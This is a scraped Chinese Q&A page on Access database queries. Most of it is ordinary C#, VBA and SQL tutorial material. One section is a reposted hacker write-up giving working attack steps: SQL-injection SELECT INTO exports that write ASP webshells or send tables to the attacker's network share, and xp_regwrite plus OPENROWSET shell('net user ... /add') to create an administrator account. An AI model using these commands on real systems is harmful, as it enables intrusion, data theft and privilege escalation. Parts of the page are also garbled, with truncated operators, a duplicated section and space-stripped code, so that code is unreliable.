當前位置:首頁 » 數據倉庫 » access資料庫查詢和平路
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

access資料庫查詢和平路

發布時間: 2022-09-20 02:25:18

『壹』 access資料庫,查詢返回 語法錯誤 (操作符丟失)

Access和sql不太一樣,
你還是用Access的 創建 查詢設計
來實現吧。這樣是萬無一失的!

『貳』 在c#中通過access資料庫怎樣實現查詢(包括第一條,上一條,下一條,最後一條。)

本文介紹C#訪問操作Access資料庫的基礎知識,並提供一個相關的常式。
1.通過ADO.NET的OleDb相關類來操作Access
主要知識點如下:
using System.Data.OleDb;
using System.Data;
連接字元串:String connectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=proct.mdb";
建立連接:OleDbConnection connection = new OleDbConnection(connectionString);
使用OleDbCommand類來執行Sql語句:
OleDbCommand cmd = new OleDbCommand(sql, connection);
connection.Open();
cmd.ExecuteNonQuery();
2.取得Access自增標識欄位在插入數據後的id值
cmd.CommandText = @"select @@identity";
int value = Int32.Parse(cmd.ExecuteScalar().ToString());
return value;
3.執行事務
需要用到OleDbTransaction,關鍵語句如下:
OleDbConnection connection = new OleDbConnection(connectionString);
OleDbCommand cmd = new OleDbCommand();
OleDbTransaction transaction = null;
cmd.Connection = connection;
connection.Open();
transaction = connection.BeginTransaction();
cmd.Transaction = transaction;
cmd.CommandText=sql1;
cmd.ExecuteNonQuery();
cmd.CommandText=sql2;
cmd.ExecuteNonQuery();
transaction.Commit();
4.執行查詢,返回DataSet
OleDbConnection connection = new OleDbConnection(connectionString);
DataSet ds = new DataSet();
connection.Open();
OleDbDataAdapter da = new OleDbDataAdapter(sql, connection);
da.Fill(ds,"ds");
5.分頁查詢
分頁查詢使用OleDbDataReader來讀取數據,並將結果寫到一個DataSet中返回。
以上內容封裝為三個可重用的類:AccessDBUtil,AccessPageUtil,Page
代碼這里下載AccessDBUtilDemo.rar (191.37 KB , 下載:5814次)
本常式是一個c#的winform程序,但是數據訪問類可以在Web環境下使用。
本常式演示了:
1.Access資料庫的插入,更新,修改,查詢;
2.帶參數的sql語句的使用,而不是拼SQL;
3.使用DataReader的分頁查詢,而不是用嵌套的SQL語句來分頁;
4.用事務同時執行多個SQL語句;
5.在插入數據的同時返回最新的ID值;
6.整型,實型,字元串,日期型,布爾型五種數據類型的操作;
7.使用正則表達式來驗證整數和實數;
8.listview用來顯示數據的一些基本用法。
本示例不包括:
1.高效的分頁查詢,僅僅是提供了一種分頁的方法,但我認為DataReader應該比嵌套的SQL語句快(未測試)。
2.完善的分頁封裝,只提供了分頁的簡單包裝。
3.嵌套的事務處理,提供了同時執行多個sql語句的事務處理,但不支持嵌套事務。
4.listview的使用,只是利用winform控制項來演示數據訪問,因此不能作為winform編程的良好示例,例如添加數據時界面並沒有很好地更新。

『叄』 ACCESS資料庫多表查詢及導出

SELECT * into [test.txt] in 'd:\web\' 'text;' from admin

執行上述語句,在d:\web目錄下就會生成test.txt文件,其內容就是表admin的內容。但是導出asp格式就不行,會說「不能更新,資料庫或對象為只讀」。其實控制導出文件後綴是存儲在注冊表的,具體鍵值是HKEY_LOCALMACHINE\Software\Microsoft\Jet\4.0\Engines\Text\DisableExtension,默認情況下值為「!txt,csv,tab,asc,tmp,htm,html」,如果我們把asp也添加進去的話,呵呵,就可以導出asp格式的文件了。這個方法跟那個調用Access的Shell函數執行命令一樣,要修改注冊表,所以利用不是很大。順便提一下,前面提到的導出文本文件的方法如果不知道web路徑貌似可以導出到自己機器的哦:SELECT * into [test.txt] in '\\yourip\share' 'text;' from admin

當初沒有注意到 SQL注入Access導出WebShell之後還有個問號,很激動的測試了一番,結果發現了一個問題:

在Text中加入asp格式,結果在生成的ASP文件中,所有字元形式的欄位都是用引號包含的,即使欄位是數值型的,用chr(數值欄位)轉換後,所看到的還是用引號包含的。這樣的ASP文件只是名稱符合而已,如何讓其內容也符合呢?

在網上搜了一下,找到了Into的相關格式語句:

SELECT|INSERT]INTO destination IN{path|["path" "type"]|[""[type;DATABASE=path]]}FROM tableexpression IN{path|["path" "type"]|[""[type;DATABASE=path]]}

destination 欲插入數據的外部表格名稱。

tableexpression 表格名稱或是被讀取數據的表格名稱。這個參數可以是一個單一的表格名稱,或是一段已經被存儲的SQL查詢等。

path 包含該表格的完整路徑名稱。

type 資料庫的類型名稱, 通常是當資料庫部屬於Jet database時才會使用。(例如:dBASE III,dBASE IV,Paradox 3.x,Paradox 4.x,或 Btrieve)

例如:下面這兩段的意義相同

PartA....FROM Table IN ""[dBASE IV;DATABASE=C:\\DBASE\\DATA\\SALES;];

PartB....FROM Table IN "C:\\DBASE\\DATA\\SALES" "dBASE IV;"

看這里和lake2提出的語句很相似,呵呵,何止相似,應該就是吧!那麼我將lake2的第一條語句改為如下內容:

SELECT * into [test] in 'd:\web\' 'dBASE IV;' from admin

結果在d:\web目錄內生成了一個test.DBF文件,除了生成這種格式,還能生成什麼格式呢?根據lake2提到的注冊表路徑,HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0

在其下的ISAM Formats\中顯示了 ISAM格式.分別是:
dbase 5.0 dBASE 5 (*.dbf)
dbase III dBASE III (*.dbf)
dabse IV dBASE IV (*.dbf)
excel 3.0 Microsoft Excel 3 (*.xls)
excel 4.0 Microsoft Excel 4 (*.xls)
excel 5.0 Microsoft Excel 5-7 (*.xls)
excel 8.0 Microsoft Excel 97-2000 (*.xls)
exchange 4.0 Exchange() outlook程序
html export HTML 文檔 (*.html;*.htm)
html import HTML 文檔 (*.html;*.htm)
jet 2.x Jet 2.x
jet 3.x Jet 3.x
lotus wj2 Lotus 1-2-3 WJ2 (*.wj2)
lotus wj3 Lotus
Lotus WK1 Lotus 1-2-3 WK1 (*.wk1)
Lotus WK3 Lotus
Lotus WK4 Lotus
Outlook 9.0 Exchange
Paradox 3.X Paradox 3 (*.db)
Paradox 4.X Paradox 4 (*.db)
Paradox 5.X Paradox 5 (*.db)
Paradox 7.X Paradox 7-8 (*.db)
Text 文本文件 (*.txt;*.csv;*.tab;*.asc)

看,其中還可以生成xls格式,試一下,更改代碼為:

select * into jmdcw in 'd:\web\' 'excel 4.0;' from admin

哈哈,又生成了一個xls格式(jmdcw.xls)的文件。

OK,我們打開這個xls格式的來看一下內容,其中的字元型欄位並沒有用引號包含,這樣的話,是不是可以有所突碼呢?

再看一下HKEY_LOCALMACHINE\Software\Microsoft\Jet\4.0\Engines下的各個鍵值,除了text中有DisableExtension這個項外,EXCEL和Lotus也有這個字元串項。lake2說的是在Text中增加,那麼我加到Excel的這個值中,更改後的DisableExtension值為「!xls,asp」。如果這時執行導出命令,還是會出現「不能更新,資料庫或對象為只讀」。怎麼解決呢?注銷一下,就不出現錯誤了,執行:

select * into [test.asp] in 'd:\web\' 'excel 4.0;' from admin

註: 如果資料庫名(excel或dbase)中只有一項,那麼所生成的名稱中就不用加入擴展名,否則如果是text的數據類型,就要加入擴展名。

執行後,在d:\web目錄中生成了一個test.asp文件,將其在iis中運行,ASP的功能發揮出來了。

高興,高興的過早了,要生成asp有兩個條件。1,在Access資料庫環境中,是不可以執行多語句,用union?結果,出現了另一種錯誤,動作查詢不能作為行的來源。2、需要更改注冊表及讓伺服器注銷或重啟,而要能達到這樣的要求,還用這么費勁生成asp文件嗎,因為權力早就在webshell之上了。

唉,難怪lake2在標題的webshell後加了個?,雞肋啊,就是雞肋。

但這樣的條件在sql環境內,卻很好實現,因為連接 sql資料庫的最低許可權用戶一般都具備執行多語句和修改注冊表的權力,但將這樣的語句放入sql的查詢分析器中執行,卻對那個in橫挑鼻子豎挑眼,試了好長時間也沒有一點進展,只好做罷!

不過,這個語句雖然不能生成webshell,但用來導出部分表中的內容,卻是再好不過了,假設我們已經有了某個webshell了,其資料庫有一二百兆,其用戶表中的用戶有1萬,如果我們只要這個user表中的內容,如何做?我之前的日誌中有一段復制數據的代碼,但那個有些麻煩,而現在,只要這么一句,就可以得到指定表中的內容了,(註:只針對Access資料庫),所執行的語句就是:

select * into [user] in 'd:\web\' 'excel 4.0;' from user

這樣,我們只要下載這個user.xls,就可以看到user表中的內容了。哈哈,又一種導出Access資料庫中部分表內容的方法出現了。

寂寞的刺蝟 草寫於2006年12月9日,我不想紀念什麼,但沒辦法,有些記憶不會那麼快就消失掉,這里用代碼來做一個紀念吧!

在《X檔案》上看到了一種用access得到系統許可權的方法:

在取得sa許可權的時候,先修改注冊表:
exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','Software\Microsoft\Jet\4.0\Engines','SandBoxmode','REG_DWORD',0

禁用沙盒模式,然後執行:

select * from openrowset('Microsoft.Jet.OLEDB.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("net user jm 123456 /add")');

這樣就能增加一下jm用戶了。然後再加入管理員組,就成管理員了。

附:
OPENROWSET
包含訪問 OLE DB 數據源中的遠程數據所需的全部連接信息。當訪問鏈接伺服器中的表時,這種方法是一種替代方法,並且是一種使用 OLE DB 連接並訪問遠程數據的一次性的、特殊的方法。可以在查詢的 FROM 子句中像引用表名那樣引用 OPENROWSET 函數。依據 OLE DB 提供程序的能力,還可以將 OPENROWSET 函數引用為 INSERT、UPDATE 或 DELETE 語句的目標表。盡管查詢可能返回多個結果集,然而 OPENROWSET 只返回第一個。
語法
OPENROWSET ( 'provider_name'
, { 'datasource' ; 'user_id' ; 'password'
| 'provider_string' }
, { [ catalog.] [ schema.] object
| 'query' }
)

參數
'provider_name'

字元串,它代表在注冊表中指定的 OLE DB 提供程序的友好名。provider_name 沒有默認值。

'datasource'

字元串常量,它對應著某個特定的 OLE DB 數據源。datasource 是將被傳遞到提供程序 IDBProperties 介面以初始化提供程序的 DBPROP_INIT_DATASOURCE 屬性。通常,這個字元串包含資料庫文件的名稱、資料庫伺服器的名稱,或者提供程序能理解的用於查找資料庫的名稱。

'user_id'

字元串常量,它是傳遞到指定 OLE DB 提供程序的用戶名。user_id 為連接指定安全上下文,並將它作為 DBPROP_AUTH_USERID 屬性傳遞進來以初始化提供程序。

'password'

字元串常量,它是將被傳遞到 OLE DB 提供程序的用戶密碼。當初始化提供程序時,將 password 作為 DBPROP_AUTH_PASSWORD 屬性傳遞進來。

'provider_string'

提供程序特定的連接字元串,將它作為 DBPROP_INIT_PROVIDERSTRING 屬性傳遞進來以初始化 OLE DB 提供程序。通常 provider_string 封裝初始化提供程序所需的所有連接信息。

catalog

目錄或資料庫的名稱,其中駐留著指定的對象。

schema

架構的名稱或指定對象的對象所有者名稱。

object

對象名稱,它唯一地標識出將要操作的對象。

'query'

是字元串常量,發送到提供程序並由提供程序執行。Microsoft® SQL Server™ 不處理該查詢,但處理由提供程序返回的查詢結果(直接傳遞查詢)。對於有些提供程序,它們並沒有通過表名而是通過命令語言表現自己的表格格式數據,那麼將直接傳遞查詢用於這些提供程序是非常有用的。只要查詢提供程序支持 OLE DB Command 對象及其強制介面,那麼在遠程伺服器上就支持直接傳遞查詢。有關更多信息,請參見 SQL Server OLE DB 程序員參考。

注釋
如果 OLE DB 提供程序在指定的數據源中支持多個目錄和架構,那麼就需要目錄及架構名稱。如果 OLE DB 提供程序並不支持目錄和架構,那麼可以省略 catalog 及 schema 的值。

如果提供程序只支持架構名,那麼必須指定一個兩部分名稱,形式為 schema.object。如果提供程序只支持目錄名,那麼必須指定一個三部分名稱,形式為 catalog.schema.object。

OPENROWSET 不接受參數變數。

許可權
OPENROWSET 許可權由傳遞到 OLE DB 提供程序的用戶名的許可權確定。

示例
A. 將 OPENROWSET 與 SELECT 語句及用於 SQL Server 的 Microsoft OLE DB 提供程序一起使用
下面的示例使用用於 SQL Server 的 Microsoft OLE DB 提供程序訪問 pubs 資料庫中的 authors 表,該資料庫在一個名為 seattle1 的遠程伺服器上。從 datasource、user_id 及 password 中初始化提供程序,並且使用 SELECT 語句定義返回的行集。

USE pubs
GO
SELECT a.*
FROM OPENROWSET('SQLOLEDB','seattle1';'sa';'MyPass',
'SELECT * FROM pubs.dbo.authors ORDER BY au_lname, au_fname') AS a
GO

B. 將 OPENROWSET 與對象及用於 ODBC 的 OLE DB 提供程序一起使用
下面的示例使用用於 ODBC 的 OLE DB 提供程序以及 SQL Server ODBC 驅動程序訪問 pubs 資料庫中的 authors 表,該資料庫在一個名為 seattle1 的遠程伺服器中。提供程序用在 ODBC 提供程序所用的 ODBC 語法中指定的 provider_string 進行初始化,定義返回的行集時使用 catalog.schema.object 語法。

USE pubs
GO
SELECT a.*
FROM OPENROWSET('MSDASQL',
'DRIVER={SQL Server};SERVER=seattle1;UID=sa;PWD=MyPass',
pubs.dbo.authors) AS a
ORDER BY a.au_lname, a.au_fname
GO

C. 使用用於 Jet 的 Microsoft OLE DB 提供程序
下面的示例通過用於 Jet 的 Microsoft OLE DB 提供程序訪問 Microsoft Access Northwind 資料庫中的 orders 表。

說明 下面的示例假定已經安裝了 Access。

USE pubs
GO
SELECT a.*
FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0',
'c:\MSOffice\Access\Samples\northwind.mdb';'admin';'mypwd', Orders)
AS a
GO

D. 使用 OPENROWSET 和 INNER JOIN 中的另一個表
下面的示例從本地 SQL Server Northwind 資料庫的 customers 表中,以及存儲在相同計算機上 Access Northwind 資料庫的 orders 表中選擇所有數據

說明 下面的示例假定已經安裝了 Access。

USE pubs
GO
SELECT c.*, o.*
FROM Northwind.dbo.Customers AS c INNER JOIN
OPENROWSET('Microsoft.Jet.OLEDB.4.0',
'c:\MSOffice\Access\Samples\northwind.mdb';'admin';'mypwd', Orders)
AS o
ON c.CustomerID = o.CustomerID
GO

『肆』 access資料庫如何查詢

可以用office 里的access打開!

『伍』 如何查詢一個ACCESS資料庫中的表名和欄位

資料庫知識—SQL查詢語句精華使用簡要

一、 簡單查詢

簡單的Transact-SQL查詢只包括選擇列表、FROM子句和WHERE子句。它們分別說明所查詢列、查詢的表或視圖、以及搜索條件等。
例如,下面的語句查詢testtable表中姓名為「張三」的nickname欄位和email欄位。

SELECT nickname,email
FROM testtable
WHERE name=張三

(一) 選擇列表

選擇列表(select_list)指出所查詢列,它可以是一組列名列表、星號、表達式、變數(包括局部變數和全局變數)等構成。

1、選擇所有列

例如,下面語句顯示testtable表中所有列的數據:

SELECT *
FROM testtable

2、選擇部分列並指定它們的顯示次序

查詢結果集合中數據的排列順序與選擇列表中所指定的列名排列順序相同。
例如:

SELECT nickname,email
FROM testtable

3、更改列標題

在選擇列表中,可重新指定列標題。定義格式為:
列標題=列名
列名 列標題
如果指定的列標題不是標準的標識符格式時,應使用引號定界符,例如,下列語句使用漢字顯示列標題:

SELECT 昵稱=nickname,電子郵件=email
FROM testtable

4、刪除重復行

SELECT語句中使用ALL或DISTINCT選項來顯示表中符合條件的所有行或刪除其中重復的數據行,默認為ALL。使用DISTINCT選項時,對於所有重復的數據行在SELECT返回的結果集合中只保留一行。

5、限制返回的行數

使用TOP n [PERCENT]選項限制返回的數據行數,TOP n說明返回n行,而TOP n PERCENT時,說明n是表示一百分數,指定返回的行數等於總行數的百分之幾。
例如:

SELECT TOP 2 *
FROM testtable
SELECT TOP 20 PERCENT *
FROM testtable

(二)FROM子句

FROM子句指定SELECT語句查詢及與查詢相關的表或視圖。在FROM子句中最多可指定256個表或視圖,它們之間用逗號分隔。
在FROM子句同時指定多個表或視圖時,如果選擇列表中存在同名列,這時應使用對象名限定這些列所屬的表或視圖。例如在usertable和citytable表中同時存在cityid列,在查詢兩個表中的cityid時應使用下面語句格式加以限定:

SELECT username,citytable.cityid
FROM usertable,citytable
WHERE usertable.cityid=citytable.cityid

在FROM子句中可用以下兩種格式為表或視圖指定別名:
表名 as 別名
表名 別名

(二) FROM子句

FROM子句指定SELECT語句查詢及與查詢相關的表或視圖。在FROM子句中最多可指定256個表或視圖,它們之間用逗號分隔。
在FROM子句同時指定多個表或視圖時,如果選擇列表中存在同名列,這時應使用對象名限定這些列所屬的表或視圖。例如在usertable和citytable表中同時存在cityid列,在查詢兩個表中的cityid時應使用下面語句格式加以限定:

SELECT username,citytable.cityid
FROM usertable,citytable
WHERE usertable.cityid=citytable.cityid

在FROM子句中可用以下兩種格式為表或視圖指定別名:
表名 as 別名
表名 別名
例如上面語句可用表的別名格式表示為:

SELECT username,b.cityid
FROM usertable a,citytable b
WHERE a.cityid=b.cityid

SELECT不僅能從表或視圖中檢索數據,它還能夠從其它查詢語句所返回的結果集合中查詢數據。

例如:

SELECT a.au_fname+a.au_lname
FROM authors a,titleauthor ta
(SELECT title_id,title
FROM titles
WHERE ytd_sales>10000
) AS t
WHERE a.au_id=ta.au_id
AND ta.title_id=t.title_id

此例中,將SELECT返回的結果集合給予一別名t,然後再從中檢索數據。

(三) 使用WHERE子句設置查詢條件

WHERE子句設置查詢條件,過濾掉不需要的數據行。例如下面語句查詢年齡大於20的數據:

SELECT *
FROM usertable
WHERE age>20

WHERE子句可包括各種條件運算符:
比較運算符(大小比較):>、>=、=、、!>、!=10 AND age、>=、、!。
3、自然連接:在連接條件中使用等於(=)運算符比較被連接列的列值,但它使用選擇列表指出查詢結果集合中所包括的列,並刪除連接表中的重復列。
例,下面使用等值連接列出authors和publishers表中位於同一城市的作者和出版社:

SELECT *
FROM authors AS a INNER JOIN publishers AS p
ON a.city=p.city
又如使用自然連接,在選擇列表中刪除authors 和publishers 表中重復列(city和state):
SELECT a.*,p.pub_id,p.pub_name,p.country
FROM authors AS a INNER JOIN publishers AS p
ON a.city=p.city

(二)外連接
內連接時,返回查詢結果集合中的僅是符合查詢條件( WHERE 搜索條件或 HAVING 條件)和連接條件的行。而採用外連接時,它返回到查詢結果集合中的不僅包含符合連接條件的行,而且還包括左表(左外連接時)、右表(右外連接時)或兩個邊接表(全外連接)中的所有數據行。如下面使用左外連接將論壇內容和作者信息連接起來:

SELECT a.*,b.* FROM luntan LEFT JOIN usertable as b
ON a.username=b.username

下面使用全外連接將city表中的所有作者以及user表中的所有作者,以及他們所在的城市:

SELECT a.*,b.*
FROM city as a FULL OUTER JOIN user as b
ON a.username=b.username

(三)交叉連接
交叉連接不帶WHERE 子句,它返回被連接的兩個表所有數據行的笛卡爾積,返回到結果集合中的數據行數等於第一個表中符合查詢條件的數據行數乘以第二個表中符合查詢條件的數據行數。例,titles表中有6類圖書,而publishers表中有8家出版社,則下列交叉連接檢索到的記錄數將等於6*8=48行。

SELECT type,pub_name
FROM titles CROSS JOIN publishers
ORDER BY type

『陸』 怎樣用VBA取得Access資料庫中的查詢結果

對於這種寫法不是很了解,如果用ado+sql可以幫到你。

Subbb()

DimcnnAsADODB.Connection

DimrsAsADODB.Recordset

Setcnn=NewADODB.Connection

mydata=ThisWorkbook.Path&"123.mdb"

Withcnn

.Provider="microsoft.jet.oledb.4.0"

.Openmydata

EndWith

Setrs=NewADODB.Recordset

Sql="selectFlux_AmountfromMytable"

rs.OpenSql,cnn,3,2

ReDimarr(rs.RecordCount)

Fori=0Tors.RecordCount-1

arr(i)=rs.Fields("Flux_Amount")

rs.MoveNext

Nexti

MsgBoxJoin(arr,",")

EndSub

應該說這種用法比較主流,復制代碼到vbe,然後引用ado2.8,將access與excel文件放在一個文件夾,將資料庫名變動一下,就可以測試了。(要改為同你的access,表名,欄位名一致)

『柒』 請教:如何在access資料庫中查詢所需的內容

這樣就可以:

search=search & "and qy like '%" & request("search_qy") & "%'"

這樣用"花園"就可以查到"洪湖花園"、"花園a305"等信息

如果是要以開頭查詢,就這樣:

search=search & "and qy like '%" & request("search_qy") & "'"

這樣用"花園"只能查到"花園a305",無法查到"洪湖花園"

明白了嗎?

『捌』 ACCESS的資料庫查詢有什麼意義

ACCESS的資料庫查詢有什麼意義?

其實在Access資料庫中,我們用查詢設計器設計的查詢本質上就是一條條SQL語言編寫的命令。當我們使用查詢設計器用可視化的方式創建一個查詢對象後,系統便自動把它轉換為相應的SQL語句保存起來。

SQL(Structure Query Language)的中文名稱叫結構化查詢語言。SQL是一種專門針對資料庫操作的計算機語言。SQL查詢是使用SQL語句創建的查詢。

例如我們做一個簡單的查詢所有男教師的查詢,在查詢設計器中按如下設置:

當我們運行一個查詢對象時實際上就是執行該查詢中指定的SQL命令。

那麼有的人就說了反正在查詢設計器中可以做查詢,那麼就可以避免了直接寫SQL語句了,所以可以不用學習SQL語句。這話有一定的道理,只可惜的是,在查詢設計器中只是可以做一些比較簡單的查詢而已,對於某些復雜的查詢,如傳遞查詢、數據定義查詢和聯合查詢等等你是不能夠在查詢設計器中完成的,此時必須要正面面對SQL語句,所以還是不要投機取巧了,在Access資料庫中功能強大的查詢基本上都是通過編輯SQL語句來實現的。

『玖』 access資料庫怎麼查詢a表中合同號欄位含有b表中合同號欄位,並顯示出b表中的對應的那一條數據

利用函數將a表合同號欄位中的合同號取出來啊,然後利用這個作為查詢條件查詢b表就可以啦!

『拾』 access資料庫多表查詢設計為什麼沒查詢結果

一般沒有查詢結果的原因就是關聯語句部分寫錯了導致。

如,目前有數據如下:

班級表數據:

SELECT學生表.學生ID,學生表.學生姓名,班級表.班級名
FROM班級表INNERJOIN學生表ON班級表.班級ID=學生表.所屬班級ID;